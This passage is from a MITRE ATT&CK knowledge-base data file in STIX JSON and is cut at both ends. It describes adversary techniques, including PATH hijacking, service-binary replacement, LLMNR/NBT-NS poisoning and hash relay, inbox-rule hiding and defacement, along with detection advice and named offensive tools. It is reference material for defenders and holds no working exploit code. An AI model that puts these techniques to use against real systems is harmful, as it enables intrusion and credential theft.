DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Sensor Health: Host Status","Network Traffic: Network Traffic Flow"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92","type":"attack-pattern","created":"2019-04-09T11:51:30.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1492","url":"https://attack.mitre.org/techniques/T1492"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-03-02T14:24:26.780Z","name":"Stored Data Manipulation","description":"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","type":"attack-pattern","created":"2020-03-13T14:10:43.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.007","url":"https://attack.mitre.org/techniques/T1574/007"},{"external_id":"CAPEC-13","source_name":"capec","url":"https://capec.mitre.org/data/definitions/13.html"},{"external_id":"CAPEC-38","source_name":"capec","url":"https://capec.mitre.org/data/definitions/38.html"}],"modified":"2020-09-16T16:56:34.583Z","name":"Path Interception by PATH Environment Variable","description":"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes </code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","File: File Creation","Windows Registry: Windows Registry Key Modification","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control"]},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","type":"attack-pattern","created":"2020-02-14T13:35:32.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1213.002","url":"https://attack.mitre.org/techniques/T1213/002"},{"url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.","source_name":"Microsoft SharePoint Logging"}],"modified":"2021-06-08T17:10:31.187Z","name":"Sharepoint","description":"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","type":"attack-pattern","created":"2017-05-31T21:30:20.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1006","url":"https://attack.mitre.org/techniques/T1006"},{"url":"http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin","description":"Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.","source_name":"Hakobyan 2009"},{"url":"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1","description":"Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.","source_name":"Github PowerSploit Ninjacopy"}],"modified":"2021-02-09T14:09:00.753Z","name":"Direct Volume Access","description":"Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Drive: Drive Access","Command: Command Execution"],"x_mitre_defense_bypassed":["File monitoring","File system access controls"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a","type":"attack-pattern","created":"2017-05-31T21:30:43.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1044","url":"https://attack.mitre.org/techniques/T1044"},{"external_id":"CAPEC-17","source_name":"capec","url":"https://capec.mitre.org/data/definitions/17.html"},{"url":"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/","description":"Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.","source_name":"Mozilla Firefox Installer DLL Hijack"},{"url":"http://seclists.org/fulldisclosure/2015/Dec/34","description":"Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.","source_name":"Seclists Kanthak 7zip Installer"}],"modified":"2020-03-19T15:11:39.627Z","name":"File System Permissions Weakness","description":"Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["SYSTEM","User","Administrator"]},{"x_mitre_platforms":["Windows","Office 365","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Dor Edry, Microsoft"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","created":"2021-06-07T13:20:23.767Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1564.008","url":"https://attack.mitre.org/techniques/T1564/008"},{"source_name":"MacOS Email Rules","url":"https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac","description":"Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021."},{"source_name":"Microsoft BEC Campaign","url":"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/","description":"Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021."},{"source_name":"Microsoft Inbox Rules","url":"https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59","description":"Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021."},{"source_name":"Microsoft New-InboxRule","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps","description":"Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021."},{"source_name":"Microsoft Set-InboxRule","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps","description":"Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021."},{"source_name":"Microsoft Cloud App Security","url":"https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154","description":"Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)","modified":"2022-04-12T15:22:29.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Email Hiding Rules","x_mitre_detection":"Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Modification","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","type":"attack-pattern","created":"2020-02-20T14:34:08.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1491.002","url":"https://attack.mitre.org/techniques/T1491/002"},{"source_name":"FireEye Cyber Threats to Media Industries","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf","description":"FireEye. (n.d.). Retrieved April 19, 2019."},{"source_name":"Kevin Mandia Statement to US Senate Committee on Intelligence","url":"https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf","description":"Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019."},{"source_name":"Anonymous Hackers Deface Russian Govt Site","url":"https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/","description":"Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019."},{"source_name":"Trend Micro Deep Dive Into Defacement","url":"https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf","description":"Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019."}],"modified":"2022-03-25T19:34:37.539Z","name":"External Defacement","description":"An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","File: File Modification","File: File Creation","Network Traffic: Network Traffic Content"],"x_mitre_impact_type":["Integrity"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Eric Kuehn, Secure Ideas","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1171","url":"https://attack.mitre.org/techniques/T1171"},{"url":"https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution","description":"Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.","source_name":"Wikipedia LLMNR"},{"url":"https://technet.microsoft.com/library/cc958811.aspx","description":"Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.","source_name":"TechNet NetBIOS"},{"source_name":"byt3bl33d3r NTLM Relaying","url":"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html","description":"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."},{"source_name":"Secure Ideas SMB Relay","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."},{"url":"https://github.com/nomex/nbnspoof","description":"Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.","source_name":"GitHub NBNSpoof"},{"url":"https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response","description":"Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.","source_name":"Rapid7 LLMNR Spoofer"},{"url":"https://github.com/SpiderLabs/Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.","source_name":"GitHub Responder"},{"url":"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning","description":"Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.","source_name":"Sternsecurity LLMNR-NBTNS"},{"url":"https://github.com/Kevin-Robertson/Conveigh","description":"Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.","source_name":"GitHub Conveigh"}],"modified":"2020-02-11T19:09:48.452Z","name":"LLMNR/NBT-NS Poisoning and Relay","description":"Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","type":"attack-pattern","created":"2020-10-02T15:59:11.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.005","url":"https://attack.mitre.org/techniques/T1590/005"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:31:05.302Z","name":"IP Addresses","description":"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","created":"2020-02-20T15:27:18.581Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1499.001","url":"https://attack.mitre.org/techniques/T1499/001"},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."},{"source_name":"Cloudflare SynFlood","url":"https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/","description":"Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019."},{"source_name":"Corero SYN-ACKflood","url":"https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html","description":"Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019."},{"source_name":"Arbor AnnualDoSreport Jan 2018","url":"https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."},{"url":"https://capec.mitre.org/data/definitions/469.html","source_name":"capec","external_id":"CAPEC-469"},{"url":"https://capec.mitre.org/data/definitions/482.html","source_name":"capec","external_id":"CAPEC-482"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the 